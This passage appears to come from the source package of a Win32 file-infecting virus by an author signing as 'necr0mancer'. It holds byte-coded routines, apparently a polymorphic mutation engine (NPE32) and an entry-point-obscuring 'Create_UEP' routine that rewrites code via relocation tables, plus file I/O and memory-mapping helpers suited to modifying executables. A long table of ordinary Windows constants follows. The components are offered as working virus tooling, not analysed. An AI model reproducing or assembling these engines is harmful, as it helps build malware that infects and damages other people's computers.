024h,03Bh,0D9h,077h,00Eh,08Ah,0F4h,0B4h,000h,08Dh,075h,003h,0E8h,0BAh,001h +db 000h,000h,0EBh,0D8h,0B0h,001h,0E8h,000h,001h,000h,000h,08Bh,0DFh,05Eh,00Fh +db 0B7h,085h,0FEh,002h,000h,000h,0B9h,000h,000h,000h,000h,066h,0F7h,0E1h,091h +db 0F3h,0A5h,058h,02Bh,0F8h,089h,07Ch,024h,01Ch,0BFh,000h,000h,000h,000h,08Bh +db 045h,058h,050h,0DBh,01Ch,024h,059h,02Bh,0D9h,003h,0C3h,0ABh,0F8h,061h,0C2h +db 014h,000h,08Bh,0F7h,0FEh,0C8h,075h,008h,08Dh,08Dh,0ADh,003h,000h,000h,0EBh +db 006h,08Dh,08Dh,0E0h,003h,000h,000h,033h,0C0h,048h,0E8h,04Eh,002h,000h,000h +db 089h,045h,058h,0FFh,0D1h,057h,0DBh,004h,024h,058h,0B0h,0E8h,0AAh,033h,0C0h +db 0ABh,0FFh,0D1h,052h,08Bh,085h,0BBh,003h,000h,000h,0E8h,030h,002h,000h,000h +db 08Ah,074h,005h,070h,080h,0FEh,000h,074h,0ECh,0B0h,058h,00Ah,0C6h,0AAh,0FFh +db 0D1h,066h,0B8h,081h,0E8h,00Ah,0E6h,066h,0ABh,08Bh,045h,058h,083h,0C0h,005h +db 0ABh,0FFh,0D1h,051h,066h,0B8h,08Dh,080h,00Ah,0E6h,08Ah,075h,057h,08Ah,0D6h +db 0C0h,0E6h,003h,00Ah,0E6h,066h,0ABh,08Bh,045h,058h,02Bh,0DEh,003h,0C3h,089h +db 0BDh,04Dh,002h,000h,000h,0ABh,059h,0FFh,0D1h,066h,0B8h,087h,0E0h,00Ah,0E2h +db 066h,0ABh,05Ah,0FFh,0D1h,0B0h,0B8h,00Ah,0C2h,0AAh,052h,051h,0B8h,000h,000h +db 000h,000h,099h,033h,0C9h,066h,0B9h,000h,000h,0C1h,0E1h,002h,066h,0F7h,0F1h +db 040h,089h,085h,03Bh,002h,000h,000h,0ABh,059h,0FFh,0D1h,08Bh,0C7h,040h,089h +db 085h,07Bh,003h,000h,000h,087h,0CAh,00Fh,0B6h,08Dh,0FEh,002h,000h,000h,08Dh +db 075h,064h,0ACh,00Ch,058h,0AAh,0FFh,0D2h,0E2h,0F8h,05Ah,0C3h,053h,050h,0FEh +db 0C8h,075h,008h,08Dh,09Dh,0ADh,003h,000h,000h,0EBh,006h,08Dh,09Dh,0E0h,003h +db 000h,000h,0FFh,0D3h,00Fh,0B6h,08Dh,0FEh,002h,000h,000h,051h,08Dh,075h,064h +db 003h,0F1h,04Eh,0FDh,0ACh,0FCh,00Ch,050h,0AAh,0FFh,0D3h,0E2h,0F6h,066h,0B8h +db 081h,0C4h,066h,0ABh,058h,0C1h,0E0h,002h,0ABh,0FFh,0D3h,066h,0B8h,048h,074h +db 00Ah,0C2h,066h,0ABh,057h,0AAh,0FFh,0D3h,0B0h,0E9h,0AAh,0BEh,000h,000h,000h +db 000h,08Bh,0C7h,083h,0C0h,005h,02Bh,0C6h,0F7h,0D8h,0ABh,0FFh,0D3h,087h,0FEh +db 05Fh,08Bh,0C6h,02Bh,0C7h,048h,0AAh,087h,0FEh,0FFh,0D3h,066h,0B8h,087h,0E0h +db 00Ah,065h,057h,066h,0ABh,0FFh,0D3h,058h,0FEh,0C8h,074h,003h,0B0h,0C3h,0AAh +db 05Bh,0C3h,060h,0B8h,006h,000h,000h,000h,0E8h,015h,001h,000h,000h,040h,091h +db 0B8h,000h,000h,000h,000h,0E8h,009h,001h,000h,000h,08Ah,074h,005h,070h,0B8h +db 0FFh,000h,000h,000h,08Dh,075h,027h,0BBh,000h,000h,000h,000h,0E8h,007h,000h +db 000h,000h,0E2h,0DEh,089h,03Ch,024h,061h,0C3h,060h,03Ch,0FFh,074h,016h,0C6h +db 045h,056h,001h,08Dh,004h,086h,00Fh,0B6h,058h,003h,08Dh,004h,09Eh,08Ah,050h +db 002h,066h,08Bh,000h,0EBh,017h,0C6h,045h,056h,000h,093h,0E8h,0C7h,000h,000h +db 000h,089h,044h,024h,01Ch,08Dh,004h,086h,08Ah,050h,002h,066h,08Bh,000h,08Ah +db 0EAh,080h,0FEh,000h,075h,006h,00Fh,0BAh,0E2h,002h,073h,062h,080h,0E2h,003h +db 00Ah,0D2h,074h,013h,0FEh,0CAh,074h,007h,08Ah,0D6h,0C0h,0E2h,003h,00Ah,0E2h +db 00Ah,0E4h,075h,002h,00Ah,0C6h,00Ah,0E6h,08Ah,0D5h,080h,0E2h,0C0h,0C0h,0EAh +db 006h,0FEh,0CAh,075h,003h,0AAh,0EBh,002h,066h,0ABh,08Ah,0D5h,080h,0E2h,038h +db 0C0h,0EAh,003h,0FEh,04Dh,056h,074h,00Dh,033h,0C0h,048h,0E8h,06Dh,000h,000h +db 000h,089h,045h,060h,0EBh,003h,08Bh,045h,060h,080h,0FAh,004h,074h,00Bh,080h +db 0FAh,002h,074h,009h,0FEh,0CAh,074h,009h,0EBh,00Ah,0ABh,0EBh,007h,066h,0ABh +db 0EBh,003h,033h,0C0h,0AAh,089h,03Ch,024h,061h,0C3h,060h,049h,074h,02Bh,050h +db 058h,050h,0E8h,03Ah,000h,000h,000h,08Ah,004h,006h,03Ah,0C2h,074h,0F2h,03Ah +db 045h,057h,074h,0EDh,0AAh,086h,0E0h,05Bh,0ACh,03Ah,0C2h,074h,0FBh,03Ah,045h +db 057h,074h,0F6h,03Ah,0C4h,074h,0F2h,0AAh,0E2h,0EFh,061h,0C3h,093h,08Bh,0C3h +db 0E8h,00Fh,000h,000h,000h,08Ah,004h,006h,03Ah,0C2h,074h,0F2h,03Ah,045h,057h +db 074h,0EDh,0AAh,061h,0C3h,060h,050h,0B8h,078h,056h,034h,012h,0BFh,005h,084h +db 008h,008h,0F7h,0E7h,040h,089h,085h,0D0h,004h,000h,000h,033h,0D2h,059h,00Bh +db 0C9h,074h,006h,0F7h,0F1h,089h,054h,024h,01Ch,061h,0C3h,04Eh,050h,045h,033h +db 032h,05Bh,031h,033h,031h,038h,05Dh,06Eh,065h,063h,072h,030h,06Dh,061h,06Eh +db 063h,065h,072h,057h,00Fh,001h,04Ch,024h,0FEh,05Fh,089h,047h,008h,089h,047h +db 018h,00Fh,023h,0C0h,00Fh,023h,0C8h,00Fh,023h,0D0h,00Fh,023h,0D8h +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[NPE32BIN.INC]ΔΔΔ +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[RING3IO.INC]ΔΔΔ +;Include file ring-3 InputOutput functions +;(c) necr0mancer +; +; necr0mancer2001@hotmail.com + +;------------------------------- +;Input:edx=offset of filename + +fopen proc + + pushad + + xor ebx,ebx + + push ebx + push FILE_ATTRIBUTE_NORMAL + push OPEN_EXISTING + push ebx + push FILE_SHARE_READ + FILE_SHARE_WRITE + push GENERIC_READ + GENERIC_WRITE + push edx + call [ebp+CreateFile @ex] + + inc eax ;eax=-1? + jz fopen_exit + dec eax + +fopen_exit: + + mov [esp._eax], eax + popad + retn +fopen endp + + +;------------------------------- +;Input:ebx=handle + +fclose proc + + pushad + + push ebx + call [ebp+CloseHandle @ex] + + popad + retn +fclose endp + + +;------------------------------- +;Input:ebx=handle file +; ecx=count of bytes to read +; edx=offset of bufer +fread proc + + pushad + + push 0 + + lea eax,[ebp+offset bytesread @ex] + push eax + + push ecx + push edx + push ebx + call [ebp+ReadFile @ex] + + popad + retn +fread endp + +;------------------------------- +;Input:ebx=handle file +; ecx=count of bytes to move +fseek proc + + pushad + + push FILE_BEGIN + push 0 + push ecx + push ebx + call [ebp+SetFilePointer @ex] + + popad + retn +fseek endp + + + +;------------------------------- +;Input:ebx=handle file +; ecx=count of bytes to write +; edi=offset of bufer + +fwrite proc + + pushad + + push 0 + + lea eax,[ebp+offset bytesread @ex] + push eax + + push ecx + push edi + + push ebx + call [ebp+WriteFile @ex] + + popad + retn +fwrite endp + + +f_createmap proc + pusha + + xor eax,eax + push eax ;for mapvievoffile + + push eax ;name + push eax ;lowsize + push eax ;highsize + push PAGE_READWRITE + push eax + push ebx + call [ebp+CreateFileMappingA @ex] + + xchg ebx,eax + + pop eax ;null + push eax ;count bytes + push eax ;lowsize + push eax ;highsize + push FILE_MAP_WRITE + push ebx + call [ebp+MapViewOfFile @ex] + + mov [esp+_eax],eax + popa + retn +f_createmap endp + + +f_closemap proc + pusha + push ebx + call [ebp+UnmapViewOfFile @ex] + popa + retn +f_closemap endp +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[RING3IO.INC]ΔΔΔ +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[RIPBIN.INC]ΔΔΔ +;It "engine" I have written for fun;) +;----------------------------------------------------------------------------- +;Create_UEP( +; dword VO // virtual offset +; *dword code // offset to .code section(already has read) +; *dword reloc // offset to .reloc section(already has read) +; dword num_records // count of records in table to rewrite +; *dword adr_modify // address of "replasing" proc +; *dword mask_table // pointer to a mask table +; ); +;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +Create_UEP: +db 060h,08Bh,074h,024h,02Ch,08Bh,07Ch,024h,028h,081h,0EFh,000h,010h,000h,000h +db 003h,03Eh,08Bh,046h,004h,0BAh,008h,000h,000h,000h,052h,02Bh,0C2h,099h,0B9h +db 002h,000h,000h,000h,066h,0F7h,0F1h,05Ah,091h,00Fh,0B7h,004h,016h,066h,025h +db 0FFh,00Fh,003h,0C7h,056h,051h,093h,08Bh,074h,024h,040h,033h,0C0h,0ACh,00Fh +db 0B6h,0C8h,066h,0ADh,00Bh,0C0h,074h,012h,049h,074h,008h,066h,039h,043h,0FEh +db 074h,026h,0EBh,005h,038h,043h,0FEh,074h,01Fh,0EBh,0E4h,059h,05Eh,083h,0C2h +db 002h,0E2h,0CAh,08Bh,046h,004h,003h,0F0h,099h,033h,0D2h,0BBh,000h,010h,000h +db 000h,0F7h,0F3h,00Bh,0D2h,074h,095h,0F9h,0EBh,02Dh,093h,059h,05Eh,051h,057h +db 0F8h,08Dh,05Ch,024h,038h,0FFh,00Bh,08Bh,00Bh,0E3h,01Bh,048h,048h,08Bh,0D8h +db 02Bh,0C7h,003h,006h,087h,0DFh,093h,056h,08Bh,074h,024h,030h,08Bh,044h,024h +db 040h,0FFh,0D0h,05Eh,05Fh,059h,0EBh,0BAh,05Fh,059h,061h,0C2h,018h,000h +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[RIPBIN.INC]ΔΔΔ +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[WIN.INC]ΔΔΔ +;Windows95/NT assembly language include file by SMT/SMF. All rights reserved. +;Modifed by Necr0mancer.No rights reserved. + +NULL equ 0 +TRUE equ 1 +FALSE equ 0 + +MAX_PATH equ 260 +PIPE_WAIT equ 00000000h +PIPE_NOWAIT equ 00000001h +PIPE_READMODE_BYTE equ 00000000h +PIPE_READMODE_MESSAGE equ 00000002h +PIPE_TYPE_BYTE equ 00000000h +PIPE_TYPE_MESSAGE equ 00000004h +SC_SIZE equ 0F000h +SC_MOVE equ 0F010h +SC_MINIMIZE equ 0F020h +SC_MAXIMIZE equ 0F030h +SC_NEXTWINDOW equ 0F040h +SC_PREVWINDOW equ 0F050h +SC_CLOSE equ 0F060h +SC_VSCROLL equ 0F070h +SC_HSCROLL equ 0F080h +SC_MOUSEMENU equ 0F090h +SC_KEYMENU equ 0F100h +SC_ARRANGE equ 0F110h +SC_RESTORE equ 0F120h +SC_TASKLIST equ 0F130h +SC_SCREENSAVE equ 0F140h +SC_HOTKEY equ 0F150h +SC_DEFAULT equ 0F160h +SC_MONITORPOWER equ 0F170h +SC_CONTEXTHELP equ 0F180h +SC_SEPARATOR equ 0F00Fh + +WM_NULL equ 0000h +WM_CREATE equ 0001h +WM_DESTROY equ 0002h +WM_MOVE equ 0003h +WM_SIZE equ 0005h +WM_ACTIVATE equ 0006h +WA_INACTIVE equ 0 +WA_ACTIVE equ 1 +WA_CLICKACTIVE equ 2 +WM_SETFOCUS equ 0007h +WM_KILLFOCUS equ 0008h +WM_ENABLE equ 000Ah +WM_SETREDRAW equ 000Bh +WM_SETTEXT equ 000Ch +WM_GETTEXT equ 000Dh +WM_GETTEXTLENGTH equ 000Eh +WM_PAINT equ 000Fh +WM_CLOSE equ 0010h +WM_QUERYENDSESSION equ 0011h +WM_QUIT equ 0012h +WM_QUERYOPEN equ 0013h +WM_ERASEBKGND equ 0014h +WM_SYSCOLORCHANGE equ 0015h +WM_ENDSESSION equ 0016h +WM_SHOWWINDOW equ 0018h +WM_WININICHANGE equ 001Ah +WM_DEVMODECHANGE equ 001Bh +WM_ACTIVATEAPP equ 001Ch +WM_FONTCHANGE equ 001Dh +WM_TIMECHANGE equ 001Eh +WM_CANCELMODE equ 001Fh +WM_SETCURSOR equ 0020h +WM_MOUSEACTIVATE equ 0021h +WM_CHILDACTIVATE equ 0022h +WM_QUEUESYNC equ 0023h +WM_GETMINMAXINFO equ 0024h +WM_PAINTICON equ 0026h +WM_ICONERASEBKGND equ 0027h +WM_NEXTDLGCTL equ 0028h +WM_SPOOLERSTATUS equ 002Ah +WM_DRAWITEM equ 002Bh +WM_MEASUREITEM equ 002Ch +WM_DELETEITEM equ 002Dh +WM_VKEYTOITEM equ 002Eh +WM_CHARTOITEM equ 002Fh +WM_SETFONT equ 0030h +WM_GETFONT equ 0031h +WM_SETHOTKEY equ 0032h +WM_GETHOTKEY equ 0033h +WM_QUERYDRAGICON equ 0037h +WM_COMPAREITEM equ 0039h +WM_COMPACTING equ 0041h +WM_COMMNOTIFY equ 0044h ; /* no longer suported */ +WM_WINDOWPOSCHANGING equ 0046h +WM_WINDOWPOSCHANGED equ 0047h +WM_POWER equ 0048h +WM_COPYDATA equ 004Ah +WM_CANCELJOURNAL equ 004Bh +WM_NOTIFY equ 004Eh +WM_INPUTLANGCHANGERequEST equ 0050h +WM_INPUTLANGCHANGE equ 0051h +WM_TCARD equ 0052h +WM_HELP equ 0053h +WM_USERCHANGED equ 0054h +WM_NOTIFYFORMAT equ 0055h +NFR_ANSI equ 1h +NFR_UNICODE equ 2h +NF_QUERY equ 3h +NF_RequERY equ 4h +WM_CONTEXTMENU equ 007Bh +WM_STYLECHANGING equ 007Ch +WM_STYLECHANGED equ 007Dh +WM_DISPLAYCHANGE equ 007Eh +WM_GETICON equ 007Fh +WM_SETICON equ 0080h +WM_NCCREATE equ 0081h +WM_NCDESTROY equ 0082h +WM_NCCALCSIZE equ 0083h +WM_NCHITTEST equ 0084h +WM_NCPAINT equ 0085h +WM_NCACTIVATE equ 0086h +WM_GETDLGCODE equ 0087h +WM_NCMOUSEMOVE equ 00A0h +WM_NCLBUTTONDOWN equ 00A1h +WM_NCLBUTTONUP equ 00A2h +WM_NCLBUTTONDBLCLK equ 00A3h +WM_NCRBUTTONDOWN equ 00A4h +WM_NCRBUTTONUP equ 00A5h +WM_NCRBUTTONDBLCLK equ 00A6h +WM_NCMBUTTONDOWN equ 00A7h +WM_NCMBUTTONUP equ 00A8h +WM_NCMBUTTONDBLCLK equ 00A9h +WM_KEYFIRST equ 0100h +WM_KEYDOWN equ 0100h +WM_KEYUP equ 0101h +WM_CHAR equ 0102h +WM_DEADCHAR equ 0103h +WM_SYSKEYDOWN equ 0104h +WM_SYSKEYUP equ 0105h +WM_SYSCHAR equ 0106h +WM_SYSDEADCHAR equ 0107h +WM_KEYLAST equ 0108h +WM_IME_STARTCOMPOSITION equ 010Dh +WM_IME_ENDCOMPOSITION equ 010Eh +WM_IME_COMPOSITION equ 010Fh +WM_IME_KEYLAST equ 010Fh +WM_INITDIALOG equ 0110h +WM_COMMAND equ 0111h +WM_SYSCOMMAND equ 0112h +WM_TIMER equ 0113h +WM_HSCROLL equ 0114h +WM_VSCROLL equ 0115h +WM_INITMENU equ 0116h +WM_INITMENUPOPUP equ 0117h +WM_MENUSELECT equ 011Fh +WM_MENUCHAR equ 0120h +WM_ENTERIDLE equ 0121h +WM_CTLCOLORMSGBOX equ 0132h +WM_CTLCOLOREDIT equ 0133h +WM_CTLCOLORLISTBOX equ 0134h +WM_CTLCOLORBTN equ 0135h +WM_CTLCOLORDLG equ 0136h +WM_CTLCOLORSCROLLBAR equ 0137h +WM_CTLCOLORSTATIC equ 0138h +WM_MOUSEFIRST equ 0200h +WM_MOUSEMOVE equ 0200h +WM_LBUTTONDOWN equ 0201h +WM_LBUTTONUP equ 0202h +WM_LBUTTONDBLCLK equ 0203h +WM_RBUTTONDOWN equ 0204h +WM_RBUTTONUP equ 0205h +WM_RBUTTONDBLCLK equ 0206h +WM_MBUTTONDOWN equ 0207h +WM_MBUTTONUP equ 0208h +WM_MBUTTONDBLCLK equ 0209h +WM_MOUSEWHEEL equ 020Ah +WM_PARENTNOTIFY equ 0210h +MENULOOP_WINDOW equ 0h +MENULOOP_POPUP equ 1h +WM_ENTERMENULOOP equ 0211h +WM_EXITMENULOOP equ 0212h +WM_SIZING equ 0214h +WM_CAPTURECHANGED equ 0215h +WM_MOVING equ 0216h +WM_POWERBROADCAST equ 0218h +WM_DEVICECHANGE equ 0219h +WM_IME_SETCONTEXT equ 0281h +WM_IME_NOTIFY equ 0282h +WM_IME_CONTROL equ 0283h +WM_IME_COMPOSITIONFULL equ 0284h +WM_IME_SELECT equ 0285h +WM_IME_CHAR equ 0286h +WM_IME_KEYDOWN equ 0290h +WM_IME_KEYUP equ 0291h +WM_MDICREATE equ 0220h +WM_MDIDESTROY equ 0221h +WM_MDIACTIVATE equ 0222h +WM_MDIRESTORE equ 0223h +WM_MDINEXT equ 0224h +WM_MDIMAXIMIZE equ 0225h +WM_MDITILE equ 0226h +WM_MDICASCADE equ 0227h +WM_MDIICONARRANGE equ 0228h +WM_MDIGETACTIVE equ 0229h +WM_MDISETMENU equ 0230h +WM_ENTERSIZEMOVE equ 0231h +WM_EXITSIZEMOVE equ 0232h +WM_DROPFILES equ 0233h +WM_MDIREFRESHMENU equ 0234h +WM_MOUSEHOVER equ 02A1h +WM_MOUSELEAVE equ 02A3h +WM_CUT equ 0300h +WM_COPY equ 0301h +WM_PASTE equ 0302h +WM_CLEAR equ 0303h +WM_UNDO equ 0304h +WM_RENDERFORMAT equ 0305h +WM_RENDERALLFORMATS equ 0306h +WM_DESTROYCLIPBOARD equ 0307h +WM_DRAWCLIPBOARD equ 0308h +WM_PAINTCLIPBOARD equ 0309h +WM_VSCROLLCLIPBOARD equ 030Ah +WM_SIZECLIPBOARD equ 030Bh +WM_ASKCBFORMATNAME equ 030Ch +WM_CHANGECBCHAIN equ 030Dh +WM_HSCROLLCLIPBOARD equ 030Eh +WM_QUERYNEWPALETTE equ 030Fh +WM_PALETTEISCHANGING equ 0310h +WM_PALETTECHANGED equ 0311h +WM_HOTKEY equ 0312h +WM_PRINT equ 0317h +WM_PRINTCLIENT equ 0318h +WM_HANDHELDFIRST equ 0358h +WM_HANDHELDLAST equ 035Fh +WM_AFXFIRST equ 0360h +WM_AFXLAST equ 037Fh +WM_PENWINFIRST equ 0380h +WM_PENWINLAST equ 038Fh + + + +MB_OK equ 000000000h +MB_OKCANCEL equ 000000001h +MB_ABORTRETRYIGNORE equ 000000002h +MB_YESNOCANCEL equ 000000003h +MB_YESNO equ 000000004h +MB_RETRYCANCEL equ 000000005h +MB_TYPEMASK equ 00000000fh +MB_ICONHAND equ 000000010h +MB_ICONQUESTION equ 000000020h +MB_ICONEXCLAMATION equ 000000030h +MB_ICONASTERISK equ 000000040h +MB_ICONMASK equ 0000000f0h +MB_ICONINFORMATION equ 000000040h +MB_ICONSTOP equ 000000010h +MB_DEFBUTTON1 equ 000000000h +MB_DEFBUTTON2 equ 000000100h +MB_DEFBUTTON3 equ 000000200h +MB_DEFMASK equ 000000f00h +MB_APPLMODAL equ 000000000h +MB_SYSTEMMODAL equ 000001000h +MB_TASKMODAL equ 000002000h +MB_NOFOCUS equ 000008000h +IDNO equ 7 +IDYES equ 6 +IDCANCEL equ 2 +SB_HORZ equ 0 +SB_VERT equ 1 +SB_CTL equ 2 +SB_BOTH equ 3 +SB_THUMBPOSITION equ 4 +SB_ENDSCROLL equ 8 + +SW_HIDE equ 00h +SW_SHOWNORMAL equ 01h +SW_SHOWMINIMIZED equ 02h +SW_SHOWMAXIMIZED equ 03h +SW_SHOW equ 05h +SW_RESTORE equ 09h +SW_SHOWDEFAULT equ 0Ah +WM_USER equ 0400h + +WS_POPUP equ 080000000h +WS_CHILD equ 040000000h +WS_MINIMIZE equ 020000000h +WS_VISIBLE equ 010000000h +WS_MAXIMIZE equ 001000000h +WS_CAPTION equ 000C00000h +WS_BORDER equ 000800000h +WS_DLGFRAME equ 000400000h +WS_VSCROLL equ 000200000h +WS_HSCROLL equ 000100000h +WS_SYSMENU equ 000080000h +;WS_SIZEBOX equ 000040000h +WS_MINIMIZEBOX equ 000020000h +WS_MAXIMIZEBOX equ 000010000h +WS_OVERLAPPEDWINDOW equ 000CF0000h +WS_EX_NOPARENTNOTIFY equ 000000004h +WS_EX_WINDOWEDGE equ 000000100h +WS_EX_CLIENTEDGE equ 000000200h +WS_EX_OVERLAPPEDWINDOW equ WS_EX_WINDOWEDGE + WS_EX_CLIENTEDGE + +CS_VREDRAW equ 00001h +CS_HREDRAW equ 00002h +CS_PARENTDC equ 00080h +CS_BYTEALIGNWINDOW equ 02000h + +BDR_RAISEDOUTER equ 01h +BDR_SUNKENOUTER equ 02h +BDR_RAISEDINNER equ 04h +BDR_SUNKENINNER equ 08h +EDGE_RAISED equ BDR_RAISEDOUTER + BDR_RAISEDINNER +EDGE_SUNKEN equ BDR_SUNKENOUTER + BDR_SUNKENINNER +EDGE_ETCHED equ BDR_SUNKENOUTER + BDR_RAISEDINNER +EDGE_BUMP equ BDR_RAISEDOUTER + BDR_SUNKENINNER +BF_LEFT equ 01h +BF_TOP equ 02h +BF_RIGHT equ 04h +BF_BOTTOM equ 08h +BF_RECT equ BF_LEFT + BF_TOP + BF_RIGHT + BF_BOTTOM +IDOK equ 1 +IDCANCEL equ 2 +IDABORT equ 3 +IDRETRY equ 4 +IDIGNORE equ 5 +IDYES equ 6 +IDNO equ 7 +IDCLOSE equ 8 +IDHELP equ 9 +COLOR_BTNFACE equ 15 +DLGWINDOWEXTRA equ 30 +IDC_ARROW equ 32512 +WM_CTLCOLORDLG equ 136h +WM_SETFOCUS equ 7 +WM_KEYFIRST equ 0100h +WM_KEYDOWN equ 0100h +WM_KEYUP equ 0101h +WM_CHAR equ 0102h +WM_DEADCHAR equ 0103h +WM_SYSKEYDOWN equ 0104h +WM_SYSKEYUP equ 0105h +WM_SYSCHAR equ 0106h +WM_SYSDEADCHAR equ 0107h +WM_KEYLAST equ 0108h +WM_SETICON equ 80h + +DS_3DLOOK equ 0004H +DS_FIXEDSYS equ 0008H +DS_NOFAILCREATE equ 0010H +DS_CONTROL equ 0400H +DS_CENTER equ 0800H +DS_CENTERMOUSE equ 1000H +DS_CONTEXTHELP equ 2000H +DS_ABSALIGN equ 01h +DS_SYSMODAL equ 02h +DS_LOCALEDIT equ 20h +DS_SETFONT equ 40h +DS_MODALFRAME equ 80h +DS_NOIDLEMSG equ 100h +DS_SETFOREGROUND equ 200h + +FILE_FLAG_WRITE_THROUGH equ 80000000h +FILE_FLAG_OVERLAPPED equ 40000000h +FILE_FLAG_NO_BUFFERING equ 20000000h +FILE_FLAG_RANDOM_ACCESS equ 10000000h +FILE_FLAG_SequENTIAL_SCAN equ 08000000h +FILE_FLAG_DELETE_ON_CLOSE equ 04000000h +FILE_FLAG_BACKUP_SEMANTICS equ 02000000h +FILE_FLAG_POSIX_SEMANTICS equ 01000000h + +CREATE_NEW equ 1 +CREATE_ALWAYS equ 2 +OPEN_EXISTING equ 3 +OPEN_ALWAYS equ 4 +TRUNCATE_EXISTING equ 5 + +GMEM_FIXED equ 0000h +GMEM_MOVEABLE equ 0002h +GMEM_NOCOMPACT equ 0010h +GMEM_NODISCARD equ 0020h +GMEM_ZEROINIT equ 0040h +GMEM_MODIFY equ 0080h +GMEM_DISCARDABLE equ 0100h +GMEM_NOT_BANKED equ 1000h +GMEM_SHARE equ 2000h +GMEM_DDESHARE equ 2000h +GMEM_NOTIFY equ 4000h +GMEM_LOWER equ GMEM_NOT_BANKED +GMEM_VALID_FLAGS equ 7F72h +GMEM_INVALID_HANDLE equ 8000h + + +LMEM_FIXED equ 0000h +LMEM_MOVEABLE equ 0002h +LMEM_NOCOMPACT equ 0010h +LMEM_NODISCARD equ 0020h +LMEM_ZEROINIT equ 0040h +LMEM_MODIFY equ 0080h +LMEM_DISCARDABLE equ 0F00h +LMEM_VALID_FLAGS equ 0F72h +LMEM_INVALID_HANDLE equ 8000h + +LHND equ (LMEM_MOVEABLE or LMEM_ZEROINIT) +LPTR equ (LMEM_FIXED or LMEM_ZEROINIT) + +NONZEROLHND equ (LMEM_MOVEABLE) +NONZEROLPTR equ (LMEM_FIXED) +LMEM_DISCARDED equ 4000h +LMEM_LOCKCOUNT equ 00FFh +DRIVE_UNKNOWN equ 0 +DRIVE_NO_ROOT_DIR equ 1 +DRIVE_REMOVABLE equ 2 +DRIVE_FIXED equ 3 +DRIVE_REMOTE equ 4 +DRIVE_CDROM equ 5 +DRIVE_RAMDISK equ 6 +FILE_TYPE_UNKNOWN equ 0000h +FILE_TYPE_DISK equ 0001h +FILE_TYPE_CHAR equ 0002h +FILE_TYPE_PIPE equ 0003h +FILE_TYPE_REMOTE equ 8000h + +;================================ WINNT.H =============== +FILE_READ_DATA equ ( 0001h ) +FILE_LIST_DIRECTORY equ ( 0001h ) +FILE_WRITE_DATA equ ( 0002h ) +FILE_ADD_FILE equ ( 0002h ) +FILE_APPEND_DATA equ ( 0004h ) +FILE_ADD_SUBDIRECTORY equ ( 0004h ) +FILE_CREATE_PIPE_INSTANCE equ ( 0004h ) +FILE_READ_EA equ ( 0008h ) +FILE_WRITE_EA equ ( 0010h ) +FILE_EXECUTE equ ( 0020h ) +FILE_TRAVERSE equ ( 0020h ) +FILE_DELETE_CHILD equ ( 0040h ) +FILE_READ_ATTRIBUTES equ ( 0080h ) +FILE_WRITE_ATTRIBUTES equ ( 0100h ) + +;FILE_ALL_ACCESS equ (STANDARD_RIGHTS_RequIRED or SYNCHRONIZE or 1FFh) +;FILE_GENERIC_READ equ (STANDARD_RIGHTS_READ or FILE_READ_DATA or FILE_READ_ATTRIBUTES or FILE_READ_EA or SYNCHRONIZE) +;FILE_GENERIC_WRITE equ (STANDARD_RIGHTS_WRITE or FILE_WRITE_DATA or FILE_WRITE_ATTRIBUTES or FILE_WRITE_EA or FILE_APPEND_DATA or SYNCHRONIZE) +;FILE_GENERIC_EXECUTE equ (STANDARD_RIGHTS_EXECUTE or FILE_READ_ATTRIBUTES or FILE_EXECUTE or SYNCHRONIZE) + +FILE_SHARE_READ equ 00000001h +FILE_SHARE_WRITE equ 00000002h +FILE_SHARE_DELETE equ 00000004h +FILE_ATTRIBUTE_READONLY equ 00000001h +FILE_ATTRIBUTE_HIDDEN equ 00000002h +FILE_ATTRIBUTE_SYSTEM equ 00000004h +FILE_ATTRIBUTE_DIRECTORY equ 00000010h +FILE_ATTRIBUTE_ARCHIVE equ 00000020h +FILE_ATTRIBUTE_NORMAL equ 00000080h +FILE_ATTRIBUTE_TEMPORARY equ 00000100h +FILE_ATTRIBUTE_COMPRESSED equ 00000800h +FILE_ATTRIBUTE_OFFLINE equ 00001000h +FILE_NOTIFY_CHANGE_FILE_NAME equ 00000001h +FILE_NOTIFY_CHANGE_DIR_NAME equ 00000002h +FILE_NOTIFY_CHANGE_ATTRIBUTES equ 00000004h +FILE_NOTIFY_CHANGE_SIZE equ 00000008h +FILE_NOTIFY_CHANGE_LAST_WRITE equ 00000010h +FILE_NOTIFY_CHANGE_LAST_ACCESS equ 00000020h +FILE_NOTIFY_CHANGE_CREATION equ 00000040h +FILE_NOTIFY_CHANGE_SECURITY equ 00000100h +FILE_ACTION_ADDED equ 00000001h +FILE_ACTION_REMOVED equ 00000002h +FILE_ACTION_MODIFIED equ 00000003h +FILE_ACTION_RENAMED_OLD_NAME equ 00000004h +FILE_ACTION_RENAMED_NEW_NAME equ 00000005h +FILE_CASE_SENSITIVE_SEARCH equ 00000001h +FILE_CASE_PRESERVED_NAMES equ 00000002h +FILE_UNICODE_ON_DISK equ 00000004h +FILE_PERSISTENT_ACLS equ 00000008h +FILE_FILE_COMPRESSION equ 00000010h +FILE_VOLUME_IS_COMPRESSED equ 00008000h +GENERIC_READ equ 80000000h +GENERIC_WRITE equ 40000000h 